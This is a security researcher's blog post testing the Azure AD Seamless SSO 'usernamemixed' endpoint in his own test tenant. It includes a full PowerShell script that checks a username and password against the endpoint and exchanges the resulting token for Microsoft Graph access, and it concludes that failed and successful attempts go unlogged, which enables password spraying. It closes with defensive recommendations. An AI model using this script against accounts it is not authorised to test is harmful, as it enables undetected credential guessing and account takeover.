Last week, as many of you, I became aware of the the Azure AD Password Brute Force “Flaw” that was found by ArsTechnica. Of course this raised my interest and I wanted to do some research myself to understand as best as possible what was going on.
This whole thing was focussed on an Azure AD endpoint mainly used for Seamless Sign-On when using either PHS only or PTA only for a specific domain in Azure AD.
So I will start at the beginning and walk you through what I found.
When I looked into my sign-in logs of my test/dev Azure AD tenant, I saw the following
–
To test this I used the following code, that I found through https://securecloud.blog/2019/12/26/reddit-thread-answer-azure-ad-autologon-endpoint/
Invoke-Command -ScriptBlock {
[string]$tenantname= Read-Host -Prompt "Enter Azure AD Tenant Short Name"
[string]$username= Read-Host -Prompt "Enter UserName"
$securedValue = Read-Host -AsSecureString -Prompt "Enter Password"
$bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($securedValue)
$password = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)
$requestid = [System.Guid]::NewGuid().guid
$domain = ($username -split "@")[1]
Invoke-RestMethod -Method Get -UseBasicParsing ("https://login.microsoftonline.com/common/userrealm/$username" + "?api-version=1.0") -UserAgent $userAgent
$headers = @{
"client-request-id"=$requestid
"return-client-request-id"="true"
}
$uri2 = "https://autologon.microsoftazuread-sso.com/$domain/winauth/trust/2005/usernamemixed?client-request-id=$requestid"
[xml]$data = '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:u="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue</a:Action>
<a:MessageID>urn:uuid:36a6762f-40a9-4279-b4e6-b01c944b5698</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">https://autologon.microsoftazuread-sso.com/$tenantname.onmicrosoft.com/winauth/trust/2005/usernamemixed?client-request-id=30cad7ca-797c-4dba-81f6-8b01f6371013</a:To>
<o:Security xmlns:o="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" s:mustUnderstand="1">
<u:Timestamp u:Id="_0">
<u:Created>2019-01-02T14:30:02.068Z</u:Created>
<u:Expires>2019-01-02T14:40:02.068Z</u:Expires>
</u:Timestamp>
<o:UsernameToken u:Id="uuid-ec4527b8-bbb0-4cbb-88cf-abe27fe60977">
<o:Username>DefinedLater</o:Username>
<o:Password>DefinedLater</o:Password>
</o:UsernameToken>
</o:Security>
</s:Header>
<s:Body>
<trust:RequestSecurityToken xmlns:trust="http://schemas.xmlsoap.org/ws/2005/02/trust">
<wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
<a:EndpointReference>
<a:Address>urn:federation:MicrosoftOnline</a:Address>
</a:EndpointReference>
</wsp:AppliesTo>
<trust:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</trust:KeyType>
<trust:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</trust:RequestType>
</trust:RequestSecurityToken>
</s:Body>
</s:Envelope>
'
[string]$UsernameToken = [System.Guid]::NewGuid().guid
[string]$messageId = "urn:uuid:" + ([System.Guid]::NewGuid().guid)
$data.Envelope.Header.Security.UsernameToken.Id = $UsernameToken
$data.Envelope.Header.Security.UsernameToken.Username = $username
$data.Envelope.Header.Security.UsernameToken.Password = $password
$data.Envelope.Header.MessageID = $messageId
$data.Envelope.Header.To.'#text'= $uri2
$req = Invoke-RestMethod -UseBasicParsing -Uri $uri2 -Method Post -Headers $headers -Body $data -ContentType "application/soap+xml; charset=utf-8" -UserAgent $userAgent
$samltoken = $req.Envelope.Body.RequestSecurityTokenResponse.RequestedSecurityToken.Assertion.DesktopSsoToken
$token ='<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"><DesktopSsoToken>SAMLSSO</DesktopSsoToken></saml:Assertion>' -replace "SAMLSSO", $samltoken
$bytes = [System.Text.Encoding]::ASCII.GetBytes($token)
$base64 = [System.Convert]::ToBase64String($bytes);$base64
$uri3 = "https://login.microsoftonline.com/common/oauth2/token"
$body =@{
client_id = "cb1056e2-e479-49de-ae31-7812af012ed8"
resource = "https://graph.microsoft.com"
grant_type = "urn:ietf:params:oauth:grant-type:saml1_1-bearer"
assertion = $base64
}
$req = Invoke-RestMethod -UseBasicParsing -Uri $uri3 -Method Post -Headers $headers -ContentType "application/x-www-form-urlencoded" -Body $body
$headers = @{
"Authorization" = ($req.token_type) +" "+ ($req.access_token)
}
$me = Invoke-RestMethod -Uri ($body.resource + "/v1.0/me") -Method Get -Headers $headers; $me
}
- [1] the sign in to my Windows 10 using my Azure AD account in a managed domain (jorge@managed.domain) (Visible in Figure 1);
- [2] the sign-in to Azure AD portal using an account with Global Admin privileges (Visible in Figure 1);
- [3] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my Azure AD account in a managed domain (jorge@managed.domain), where I on purpose provided a wrong password. Hence the failure result (Visible in Figure 1);
- [4] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account (jorge@federated.domain). Fiddler showed redirection to my ADFS farm in my test environment, but that test environment is shutdown so ADFS (and WAP) is not available (sign-in did not initiate therefore not visible in logs) (Not visible in Figure 1);
- [5] the sign-in for Azure AD PowerShell (Connect-AzureAD) with my federated Azure AD account @ work. Fiddler showed redirection to the ADFS farm at work. I did not complete sign-in, therefore nothing visible in sign-in logs in that Azure AD tenant. If I would complete the sign-in it would be visible for sure (Not visible in Figure 1);
- [6] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a wrong password (PHS enabled!) (Not visible in Figure 1);
- Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
- Nothing was visible in the Azure AD sign-in logs;
- Output of the code was (figure 2);
–
- [7] using the code above and signing in with my federated Azure AD account (jorge@federated.domain) and a correct password (PHS enabled!) (I confirmed PHS was enabled and working and the password for this account was synched!) (Not visible in Figure 1);
- Fiddler DID NOT show a redirection to my ADFS farm in my test environment;
- Nothing was visible in the Azure AD sign-in logs;
- Output of the code was as above (figure 2);
- [8] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a wrong password (Not visible in Figure 1);
- Nothing was visible in the Azure AD sign-in logs;
- Output of the code was (figure 3);
–
- [9] using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
- Nothing was visible in the Azure AD sign-in logs;
- Output of the code was: MFA kicks in due to conditional access being enabled in all occasions for this account and because no MFA was done, authentication fails (figure 4);
–
- [10] after disabling the conditional access policy impacting the managed Azure AD account and using the code above and signing in with my managed Azure AD account (jorge@managed.domain) and a correct password (Not visible in Figure 1);
- Nothing was visible in the Azure AD sign-in logs;
- Output of the code was: No MFA this time due to disabling conditional access policy, authentication now fully succeeds (figure 5);
–
I wanted to go a step further and see what happens if I converted my federated domain to a managed domain. And that is exactly what I did!
I converted “@federated.domain” to “@managed.domain”. so, now the user jorge@federated.domain is jorge@federated.domain.converted.to.managed.domain (man I’m glad this is not my real mail address!)
- [11] using the code above and signing in with my converted managed Azure AD account (jorge@federated.domain.converted.to.managed.domain) and a correct password (Not visible in Figure 1);
- Nothing was visible in the Azure AD sign-in logs;
- Output of the code was: (figure 6);
- [12] as soon as I reverted back from native to federated it failed again as in [7]
So based upon these findings my personal conclusion is:
- This does allow password brute-force/spraying attacks to understand whether a password is correct or not
- Nothing is logged in the sign-in logs in Azure AD, that applies to both success and failure sign-ins
- It appears NOT to work (i.e. no security issue) when targeting accounts in federated domains, whether PHS is enabled or not. It looks like the Azure AD UserNameMixed endpoint ignores requests from accounts in federated domains (ADFS is not that bad after all! 😉 );
- It appears to work (i.e. security issue) when targeting accounts in managed domains, when either using PHS (tested) and PTA (not tested) as those can use Seamless SSO;
- It applies to PTA too because Azure AD receives the password and sends it to the PTA agent on-premises and because it can also use Seamless SSO;
- Although NOT tested against ADFS/WAP using the code above, if the same endpoint is exposed in ADFS through WAP, then you have the exact same issue for accounts in AD. A recommendation is to have it published through ADFS, but NOT to publish it through WAP (proxy);
- I do not consider this to be a vulnerability, but rather a bad “by design”-made decision, because:
- Nothing is logged, either with failure of success;
- The endpoint is always enabled whether or not you use Seamless SSO;
- Although NOT mentioned previously by me, but in step [11] it only worked after disabling Azure AD Identity Protection Sign-in Risk. After I converted the domain from federated to managed, Azure AD Identity protection sign-in risk kicked in and forced me to change my password. After changing my password, I would be in the same boat as an normal managed account
- Although nothing being logged in the Azure AD sign-in logs when targeting the Azure AD UserNameMixed, I think have Azure AD Identity Protection AND a conditional access policy forcing MFA at all times will save and protect your bacon. During my testing I experienced blockages due to Azure AD Identity Protection being enabled and Conditional Access forcing MFA at all times. Although MFA may be enabled, but because confirmation is given a password is correct or not, and when correct you just need to find another endpoint/app/whatever for which MFA is not enabled.
Recommendations for you:
- Enable conditional access policy to always force MFA, especially in external scenarios and/or from untrusted devices
- Enable Azure AD Identity Protection Sign-In and User-Risk
- And while you are at it, not really related to this, do enable PHS if you are federated, to be able to leverage leaked credentials
With that in mind, Microsoft appears to go to change things as described in the following link: https://www.databreachtoday.com/microsoft-will-mitigate-brute-force-bug-in-azure-ad-a-17646
Cheers,
Jorge
————————————————————————————————————————————————————-
This posting is provided “AS IS” with no warranties and confers no rights!
Always evaluate/test everything yourself first before using/implementing this in production!
This is today’s opinion/technology, it might be different tomorrow and will definitely be different in 10 years!
DISCLAIMER: https://jorgequestforknowledge.wordpress.com/disclaimer/
————————————————————————————————————————————————————-
########################### IAMTEC | Jorge’s Quest For Knowledge ##########################
#################### http://JorgeQuestForKnowledge.wordpress.com/ ###################
————————————————————————————————————————————————————
Identity | Security | Recovery
————————————————————————————————————————————————————-
Jorge's Quest For Knowledge! 
